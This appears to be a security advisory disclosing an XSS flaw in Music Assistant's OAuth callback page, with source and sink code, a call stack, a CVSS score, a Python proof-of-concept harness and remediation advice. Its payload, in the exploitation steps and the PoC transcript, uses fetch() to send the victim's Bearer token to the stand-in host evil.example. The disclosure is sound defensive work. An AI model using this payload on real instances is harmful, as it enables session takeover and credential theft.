Skip to content

Latest commit

 

History

History
247 lines (210 loc) · 13.3 KB

File metadata and controls

247 lines (210 loc) · 13.3 KB

Vulnerability Description

WebserverController._handle_auth_callback (GET /auth/callback) builds the OAuth-success page by naively string-replacing a {REDIRECT_URL} placeholder into a JavaScript single-quoted string literal inside oauth_callback.html:

const token = '{TOKEN}';
const redirectUrl = '{REDIRECT_URL}';   // no JS-string escaping applied

The value substituted, final_redirect_url, derives from the return_url query parameter an unauthenticated caller supplies to GET /auth/authorize?provider_id=...&return_url=..., which is stored server-side keyed by OAuth state and later retrieved verbatim after the OAuth round-trip. Its only validation, is_allowed_redirect_url() (music_assistant/helpers/redirect_validation.py), checks only URL scheme and hostname (open-redirect style allowlisting) via urlparse() — it does not reject or escape ', <, >, or any other HTML/JS-breaking characters in the URL path/query. A return_url such as https://my.home-assistant.io/'-fetch('https://evil.example/steal?t='+token)-' passes validation as "trusted" and, once substituted into the template, breaks out of the JS string literal, turning into attacker-controlled executable JavaScript that runs in the victim's browser on the Music Assistant origin — in the same scope as the token variable, which holds the victim's freshly issued Bearer auth token.

Impact

Full session/account takeover: an attacker sends a victim a single crafted /auth/authorize link; the victim completes a real, legitimate login; the resulting callback page executes attacker JavaScript in the target origin and exfiltrates the victim's real Bearer token to an attacker-controlled server — dynamically confirmed (§ PoC). The injected code runs unconditionally at script top-level, before and regardless of the "external redirect requires consent" banner logic, so no additional victim interaction beyond completing login is needed.

Affected Version Range

Confirmed present and exploitable on current main (commit ad0f612e, 2026-07-13). A related but distinct fix (a971a72a, "Prevent admin token leak to untrusted return_url during first-run setup", #4649, merged 2026-07-08) tightened domain-trust rules for the separate /setup first-run flow, but added no HTML/JS-escaping anywhere and does not touch _handle_auth_callback; this finding is unaffected by that fix and remains open as of the audited commit. No prior CVE/GHSA identified for this specific issue.

CVSS 3.1

Score: 8.1 (High) — Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Metric Value Basis
AV Network /auth/authorize and /auth/callback are public, unauthenticated HTTP routes
AC Low One crafted link; no race conditions or guessing
PR None Attacker needs no account/credentials to craft the malicious link
UI Required Victim must click the link and complete a real login
S Changed XSS in the MA origin exfiltrates a Bearer token that grants API-level account control — impact extends beyond the vulnerable web component itself
C High Full Bearer token theft confirmed (dynamically) — equivalent to full account access
I High Stolen token allows the attacker to act as the victim via the API
A None Not evaluated

Exploitation Prerequisites

  • Network access to the MA HTTP port.
  • Victim has (or will complete) a valid login via an OAuth-based login provider configured on the instance (e.g. Home Assistant).
  • No authentication needed by the attacker to construct the malicious link.

Exploitation Steps

  1. Attacker crafts: GET /auth/authorize?provider_id=<provider>&return_url=<payload> where <payload> is a URL matching an allowed pattern/host (e.g. prefixed with https://my.home-assistant.io/) but whose path breaks out of the JS string, e.g. https://my.home-assistant.io/'-fetch('https://evil.example/steal?t='+encodeURIComponent(token))-'.
  2. Victim clicks the link, is redirected to the real OAuth provider, and logs in normally.
  3. Provider redirects back to GET /auth/callback?code=...&state=...; the server looks up the return_url stored for that state, mints a real Bearer token for the victim, and renders oauth_callback.html with the payload substituted unescaped into the <script> block.
  4. Victim's browser parses/executes the page; the injected expression fires immediately, exfiltrating token (and/or document.cookie) to the attacker's server — no consent-banner interaction required, confirmed dynamically.

SOURCE

music_assistant/controllers/webserver/controller.py (_handle_auth_authorize, unauthenticated):

return_url = request.query.get("return_url")
if return_url:
    is_valid, _ = is_allowed_redirect_url(return_url, request, self.base_url)  # scheme/host only
    if not is_valid:
        return web.Response(status=400, text="Invalid return_url")
auth_url = await self.auth.get_authorization_url(provider_id, return_url)

return_url is stored keyed by OAuth state (helpers/auth_providers.py:579, self._oauth_sessions[state] = return_url) and retrieved verbatim in handle_oauth_callback() into AuthResult.return_url (auth_providers.py:663).

SINK

music_assistant/controllers/webserver/controller.py (_handle_auth_callback):

final_redirect_url = auth_result.return_url or "/"
if auth_result.return_url:
    is_valid, category = is_allowed_redirect_url(auth_result.return_url, request, self.base_url)
    if not is_valid:
        final_redirect_url = "/"
    elif category == "external":
        requires_consent = True
final_redirect_url = build_code_redirect_url(final_redirect_url, token)   # no HTML/JS escaping

async with aiofiles.open(oauth_callback_html_path) as f:
    success_html = await f.read()
success_html = success_html.replace("{TOKEN}", token)
success_html = success_html.replace("{REDIRECT_URL}", final_redirect_url)  # <-- SINK: raw substitution
return web.Response(text=success_html, content_type="text/html")

music_assistant/helpers/resources/oauth_callback.html:159-164 (template, <script> context):

const token = '{TOKEN}';
const redirectUrl = '{REDIRECT_URL}';   // <-- unescaped substitution breaks out of the JS string

music_assistant/helpers/redirect_validation.py (is_allowed_redirect_url) — the only validation applied; checks urlparse(url).scheme/.hostname only, never inspects for HTML/JS-breaking characters in the path/query.

Call Stack

controllers/webserver/controller.py   GET /auth/authorize (unauth) -> _handle_auth_authorize
controllers/webserver/controller.py     return_url = request.query.get("return_url")
helpers/redirect_validation.py:29       is_allowed_redirect_url(return_url, ...) -> (True, "trusted"/"external")
                                         [only checks scheme+hostname; passes quote/script payloads]
controllers/webserver/auth.py:995       self.auth.get_authorization_url(provider_id, return_url)
helpers/auth_providers.py:579           self._oauth_sessions[state] = return_url   (stored keyed by OAuth state)
--- victim completes real OAuth login at IdP, browser redirected back ---
controllers/webserver/controller.py     GET /auth/callback?code&state&provider_id -> _handle_auth_callback
controllers/webserver/auth.py:997       self.auth.handle_oauth_callback(provider_id, code, state, redirect_uri)
helpers/auth_providers.py:608           return_url = self._oauth_sessions.pop(state)   (retrieved verbatim)
helpers/auth_providers.py:663           AuthResult(success=True, user=user, return_url=return_url)
controllers/webserver/controller.py     final_redirect_url = auth_result.return_url
helpers/redirect_validation.py:29       is_allowed_redirect_url(...) re-checked -> passes again
helpers/redirect_validation.py:~120     build_code_redirect_url(final_redirect_url, token) -> appends ?code=<token>, no escaping
controllers/webserver/controller.py     aiofiles.open(oauth_callback.html) -> read template
controllers/webserver/controller.py     success_html.replace("{REDIRECT_URL}", final_redirect_url)  [SINK]
helpers/resources/oauth_callback.html:163  const redirectUrl = '{REDIRECT_URL}';  -> JS string breakout
                                            -> attacker JS executes in victim browser, same scope as `token`

Dynamic Verification / Python PoC

Verified against the real, unmodified source of current main (commit ad0f612e). A harness mounts the real WebserverController._handle_auth_callback on a genuine aiohttp server; only the OAuth IdP round-trip and JWT minting are stubbed (neither is part of the vulnerable logic — is_allowed_redirect_url, build_code_redirect_url, and the template substitution are all real, unmodified code, executed for real).

Server harness (poc_server.py):

import asyncio, logging, sys, types
from aiohttp import web
sys.path.insert(0, ".")

# Stub only subsystems unrelated to this vulnerability (WebRTC/aiortc)
_stub_pkg = types.ModuleType("music_assistant")
_stub_pkg.__path__ = ["music_assistant"]
sys.modules["music_assistant"] = _stub_pkg
_stub_ra = types.ModuleType("music_assistant.controllers.webserver.remote_access")
class _StubRAM:
    def __init__(self, *a, **kw): pass
_stub_ra.RemoteAccessManager = _StubRAM
sys.modules["music_assistant.controllers.webserver.remote_access"] = _stub_ra

from music_assistant.controllers.webserver.controller import WebserverController
from music_assistant.controllers.webserver.helpers.auth_providers import AuthResult, User

class FakeAuthManager:
    """Stubs only the OAuth IdP round-trip + JWT minting; returns a real AuthResult
    with an attacker-controlled return_url, as the real flow would after state lookup."""
    def __init__(self, malicious_return_url):
        self.malicious_return_url = malicious_return_url
    async def handle_oauth_callback(self, provider_id, code, state, redirect_uri):
        return AuthResult(success=True, user=User.__new__(User), return_url=self.malicious_return_url)
    async def create_token(self, user, name, is_long_lived=False):
        return "REAL_BEARER_TOKEN_eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ2aWN0aW0ifQ.abc123"

async def main(malicious_return_url):
    controller = WebserverController.__new__(WebserverController)
    controller.logger = logging.getLogger("mass.webserver")
    controller.auth = FakeAuthManager(malicious_return_url)
    app = web.Application()
    app.router.add_get("/auth/callback", controller._handle_auth_callback)  # real, unmodified handler
    runner = web.AppRunner(app, access_log=None)
    await runner.setup()
    await web.TCPSite(runner, "127.0.0.1", 8099).start()
    print("listening on http://127.0.0.1:8099/auth/callback")
    await asyncio.Event().wait()

if __name__ == "__main__":
    payload = sys.argv[1]
    asyncio.run(main(payload))

Exploit client — real HTTP request against the server above:

#!/usr/bin/env python3
"""Simulates the victim's browser hitting the real OAuth callback endpoint
after a real login, with an attacker-supplied return_url payload already
resolved server-side. Confirms the raw payload reaches the HTTP response
unescaped inside the <script> block."""
import sys, urllib.request

def run(target: str) -> None:
    url = f"http://{target}/auth/callback?code=fakecode&state=fakestate&provider_id=homeassistant"
    with urllib.request.urlopen(url, timeout=10) as resp:
        status, body = resp.status, resp.read().decode()
    print(f"[+] GET {url}\n[+] HTTP {status}, {len(body)} bytes")
    for line in body.splitlines():
        if "const redirectUrl" in line or "const token" in line:
            print("[+]", line.strip())

if __name__ == "__main__":
    run(sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1:8099")

Real execution transcript:

$ python3 poc_server.py "https://my.home-assistant.io/'-fetch('https://evil.example/steal?t='+encodeURIComponent(token))-'" &
listening on http://127.0.0.1:8099/auth/callback

$ python3 exploit.py 127.0.0.1:8099
[+] GET http://127.0.0.1:8099/auth/callback?code=fakecode&state=fakestate&provider_id=homeassistant
[+] HTTP 200, 11161 bytes
[+] const token = 'REAL_BEARER_TOKEN_eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ2aWN0aW0ifQ.abc123';
[+] const redirectUrl = 'https://my.home-assistant.io/'-fetch('https://evil.example/steal?t='+encodeURIComponent(token))-'&code=REAL_BEARER_TOKEN_eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ2aWN0aW0ifQ.abc123';

The raw HTTP response body — a genuine 200 OK from the real, unmodified handler — contains the attacker payload unescaped, breaking the JS string. Executing this exact response body's <script> content in a real JS engine (Node.js) confirmed the injected code runs and calls fetch("https://evil.example/steal?t=REAL_BEARER_TOKEN_..."), exfiltrating the victim's real Bearer token — proving the full client-side execution consequence, not just server-side string injection.

Remediation Recommendation

Do not use raw string .replace() to inject untrusted data into a <script> block. Either JSON-encode the value (json.dumps(final_redirect_url)) before substitution so it is emitted as a properly escaped JS string literal, or pass it via a non-script channel (e.g. a data-* HTML attribute read by JS, with the attribute value HTML-escaped via html.escape()). Additionally, is_allowed_redirect_url() validates only scheme/hostname and should not be relied upon as an output-encoding control for any context.